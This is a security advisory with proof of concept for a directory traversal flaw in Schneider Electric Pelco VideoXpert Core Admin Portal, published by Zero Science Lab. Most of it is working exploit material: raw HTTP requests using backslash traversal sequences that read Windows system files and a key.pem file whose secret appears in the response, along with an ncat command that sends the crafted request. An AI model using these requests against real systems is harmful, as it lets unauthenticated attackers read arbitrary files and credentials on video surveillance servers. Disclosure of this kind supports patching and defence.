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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Schneider Electric Pelco VideoXpert Core Admin Portal Directory Traversal


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: 2.0.41
                  1.14.7
                  1.12.105

Summary: VideoXpert is a video management solution designed for
scalability, fitting the needs surveillance operations of any size.
VideoXpert Ultimate can also aggregate other VideoXpert systems,
tying multiple video management systems into a single interface.

Desc: Pelco VideoXpert suffers from a directory traversal vulnerability.
Exploiting this issue will allow an unauthenticated attacker to
view arbitrary files within the context of the web server.


Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Jetty(9.2.6.v20141205)
           MongoDB/3.2.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5419
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php


05.04.2017

--


PoC:
----

GET /portal//..\\\..\\\..\\\..\\\windows\win.ini HTTP/1.1
Host: 172.19.0.198
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


HTTP/1.1 200 OK
Date: Wed, 05 Apr 2017 13:27:39 GMT
Last-Modified: Tue, 14 Jul 2009 05:09:22 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
ETag: 1247548162000
Content-Length: 403
Connection: close

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo


------


GET /portal//..\\\..\\\..\\\..\\\ProgramData\Pelco\Core\db\security\key.pem HTTP/1.1
Host: 172.19.0.198
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


HTTP/1.1 200 OK
Date: Thu, 06 Apr 2017 11:59:07 GMT
Last-Modified: Wed, 05 Apr 2017 12:58:36 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
ETag: 1491397116000
Content-Length: 9
Connection: close

T0ps3cret


------


bash-4.4$ cat pelco_system_ini.txt
GET /portal//..\\\..\\\..\\\..\\\windows\system.ini HTTP/1.1
Host: 172.19.0.198
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

bash-4.4$ ncat -v -n 172.19.0.198 80 < pelco_system_ini.txt
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Connected to 172.19.0.198:80.
HTTP/1.1 200 OK
Date: Thu, 06 Apr 2017 12:30:01 GMT
Last-Modified: Wed, 10 Jun 2009 21:08:04 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
ETag: 1244668084000
Content-Length: 219
Connection: close

; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
Ncat: 220 bytes sent, 460 bytes received in 0.03 seconds.
bash-4.4$